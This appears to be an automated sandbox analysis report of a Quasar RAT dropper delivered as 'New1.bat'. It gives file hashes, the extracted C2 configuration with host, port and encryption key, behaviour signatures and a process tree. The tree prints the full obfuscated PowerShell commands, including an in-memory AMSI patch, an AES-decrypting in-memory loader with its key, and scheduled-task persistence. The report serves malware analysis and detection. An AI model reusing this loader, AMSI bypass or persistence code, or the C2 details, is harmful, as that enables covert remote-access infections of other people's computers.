Analysis

  • max time kernel
    300s
  • max time network
    289s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    28-05-2024 13:41

General

  • Target

    New1.bat

  • Size

    1002KB

  • MD5

    f6d5bfaee8a55ff72c7b453fda066d62

  • SHA1

    7d737d53013990e5d05076b7206e43eb4793fc7f

  • SHA256

    3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

  • SHA512

    e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

  • SSDEEP

    12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB

Malware Config

Extracted

Family

quasar

Attributes
  • reconnect_delay

    3000

Extracted

Family

quasar

Version

3.1.5

Botnet

Video

C2

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-oWTh3ZS9htfe80iIl5

Attributes
  • encryption_key

    zK8u0rpHf4TJzGf65Flt

  • install_name

    Win11.exe

  • log_directory

    $sxr-Logs

  • reconnect_delay

    3000

  • startup_key

    Windows 11 Boot

  • subdirectory

    Win11

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 6 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 56 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:644
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:472
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{31af0a40-e058-4f50-af24-ef948a2e9bff}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1200
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:700
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:1008
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:760
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:1060
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                1⤵
                  PID:1136
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                    PID:1160
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ahRhAUNXKdCH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qmzgyFJrBDvwNu,[Parameter(Position=1)][Type]$hxYdHXFEwa)$rTkaKYGWqCE=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+'cted'+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+'g'+'at'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+[Char](101)+'mo'+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+''+'g'+'a'+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+'p'+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+'ea'+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+'A'+'n'+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+'o'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$rTkaKYGWqCE.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+'p'+'e'+'c'+[Char](105)+''+'a'+''+'l'+''+'N'+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+'id'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$qmzgyFJrBDvwNu).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+'Man'+[Char](97)+''+'g'+''+[Char](101)+'d');$rTkaKYGWqCE.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+'o'+''+'k'+'e',''+'P'+'u'+[Char](98)+''+[Char](108)+'i'+'c'+',Hide'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+','+'NewS'+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+[Char](116)+'ua'+[Char](108)+'',$hxYdHXFEwa,$qmzgyFJrBDvwNu).SetImplementationFlags('R'+'u'+''+[Char](110)+'tim'+'e'+','+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $rTkaKYGWqCE.CreateType();}$ldazKVWzEhAiW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+'t'+'e'+[Char](109)+'.'+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+'.'+'U'+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+'N'+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+'h'+[Char](111)+''+'d'+''+[Char](115)+'');$xLyBbBWpPmqRrA=$ldazKVWzEhAiW.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'P'+'r'+''+'o'+''+'c'+''+[Char](65)+''+'d'+''+'d'+''+[Char](114)+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+'li'+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+'t'+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UkOwwXnStVxWzUdXrax=ahRhAUNXKdCH @([String])([IntPtr]);$xYIvnAbduWlZKjTCecBOOh=ahRhAUNXKdCH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$DBkRMZEWIVg=$ldazKVWzEhAiW.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'er'+[Char](110)+'e'+[Char](108)+''+'3'+'2'+'.'+''+'d'+''+[Char](108)+'l')));$LObivuLVNkoBPE=$xLyBbBWpPmqRrA.Invoke($Null,@([Object]$DBkRMZEWIVg,[Object](''+[Char](76)+'oa'+[Char](100)+''+[Char](76)+''+[Char](105)+'b'+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$sXQVPlraSHxDTLcxf=$xLyBbBWpPmqRrA.Invoke($Null,@([Object]$DBkRMZEWIVg,[Object](''+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$SOngyHw=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LObivuLVNkoBPE,$UkOwwXnStVxWzUdXrax).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'');$gGaTxrxSGBisnGHQT=$xLyBbBWpPmqRrA.Invoke($Null,@([Object]$SOngyHw,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+'e'+'r'+'')));$CtRsLYUFHy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sXQVPlraSHxDTLcxf,$xYIvnAbduWlZKjTCecBOOh).Invoke($gGaTxrxSGBisnGHQT,[uint32]8,4,[ref]$CtRsLYUFHy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$gGaTxrxSGBisnGHQT,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sXQVPlraSHxDTLcxf,$xYIvnAbduWlZKjTCecBOOh).Invoke($gGaTxrxSGBisnGHQT,[uint32]8,0x20,[ref]$CtRsLYUFHy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'$'+''+'7'+''+[Char](55)+''+[Char](115)+''+'t'+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:1220
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                    1⤵
                      PID:1184
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                      1⤵
                        PID:1228
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                        1⤵
                          PID:1236
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                          1⤵
                            PID:1296
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1356
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1468
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:2892
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                  1⤵
                                    PID:1592
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                    1⤵
                                    • Drops file in System32 directory
                                    PID:1616
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1660
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                      1⤵
                                        PID:1668
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                        1⤵
                                          PID:1780
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                          1⤵
                                            PID:1832
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1868
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1976
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:2028
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:2044
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:2020
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                      1⤵
                                                        PID:2052
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2192
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2280
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                            1⤵
                                                              PID:2384
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2508
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2516
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                  1⤵
                                                                    PID:2572
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                      PID:2600
                                                                    • C:\Windows\sysmon.exe
                                                                      C:\Windows\sysmon.exe
                                                                      1⤵
                                                                        PID:2656
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                        1⤵
                                                                          PID:2684
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                          1⤵
                                                                            PID:2692
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                            1⤵
                                                                              PID:2700
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                              1⤵
                                                                                PID:3024
                                                                              • C:\Windows\system32\wbem\unsecapp.exe
                                                                                C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                1⤵
                                                                                  PID:3108
                                                                                • C:\Windows\Explorer.EXE
                                                                                  C:\Windows\Explorer.EXE
                                                                                  1⤵
                                                                                    PID:3212
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\New1.bat"
                                                                                      2⤵
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:1448
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\New1.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\New1.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                        3⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Modifies registry class
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:5060
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_282_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_282.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                          4⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:896
                                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_282.vbs"
                                                                                          4⤵
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:1312
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_282.bat" "
                                                                                            5⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:564
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              6⤵
                                                                                                PID:4588
                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_282.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_282.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                                6⤵
                                                                                                • Blocklisted process makes network request
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:2084
                                                                                                • C:\Users\Admin\AppData\Local\Temp\New.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\New.exe"
                                                                                                  7⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:3100
                                                                                                  • C:\Windows\SysWOW64\SCHTASKS.exe
                                                                                                    "SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST
                                                                                                    8⤵
                                                                                                    • Creates scheduled task(s)
                                                                                                    PID:4020
                                                                                                • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                                  7⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:3744
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                      1⤵
                                                                                        PID:3424
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                        1⤵
                                                                                          PID:3476
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:3800
                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                            1⤵
                                                                                              PID:3884
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                              1⤵
                                                                                                PID:3996
                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                1⤵
                                                                                                  PID:4052
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                  1⤵
                                                                                                    PID:4304
                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                    1⤵
                                                                                                      PID:4312
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                      1⤵
                                                                                                        PID:4100
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                        1⤵
                                                                                                          PID:652
                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                          1⤵
                                                                                                            PID:1896
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                            1⤵
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:4548
                                                                                                          • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                            "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                            1⤵
                                                                                                            • Drops file in System32 directory
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:1508
                                                                                                          • C:\Windows\system32\SppExtComObj.exe
                                                                                                            C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                            1⤵
                                                                                                              PID:2980
                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                              1⤵
                                                                                                                PID:4228
                                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                1⤵
                                                                                                                  PID:3168
                                                                                                                • C:\Windows\sysWOW64\wbem\wmiprvse.exe
                                                                                                                  C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:1692
                                                                                                                  • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                    1⤵
                                                                                                                    • Checks BIOS information in registry
                                                                                                                    • Checks processor information in registry
                                                                                                                    PID:4716

                                                                                                                  Network

                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                    Filesize

                                                                                                                    2KB

                                                                                                                    MD5

                                                                                                                    5dc9a9599fb11ee70f9164d8fea15abf

                                                                                                                    SHA1

                                                                                                                    85faf41a206f3fa8b469609333558cf817df2cda

                                                                                                                    SHA256

                                                                                                                    3f033142ed64a5d1e1e19d11a710e22a32827e98922769497ed6bd6e452e44de

                                                                                                                    SHA512

                                                                                                                    499407006c53a5f8e5b2b00dab734613762e66a9080504ab50d21e4c8a32b75d7308ccaa0cecfbeb7058044448a40912715da1f02ec72994596d567b515dcfca

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                    Filesize

                                                                                                                    17KB

                                                                                                                    MD5

                                                                                                                    87fa629a36efe8f3232c6ab90d724f06

                                                                                                                    SHA1

                                                                                                                    d40784bcc12e3fb97ba89361fd134d497e72f869

                                                                                                                    SHA256

                                                                                                                    5e6ad6240d770bcfb43f24fdf3fb744a2a76bc910632e32119f7752473d3fd52

                                                                                                                    SHA512

                                                                                                                    42ae365fd2385dd5a130a5d765f847a649e60c74a78840f70bbe961155bb67fbc839776fdf2e5c6571f9aa46460a45e6f9723fdba4f46a32a0dc1d636dffb62c

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Install.exe

                                                                                                                    Filesize

                                                                                                                    163KB

                                                                                                                    MD5

                                                                                                                    b51552b77057c2405f73bbbf9c89234a

                                                                                                                    SHA1

                                                                                                                    4793adbba023f90d2d2ad0ec55199c56de815224

                                                                                                                    SHA256

                                                                                                                    720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

                                                                                                                    SHA512

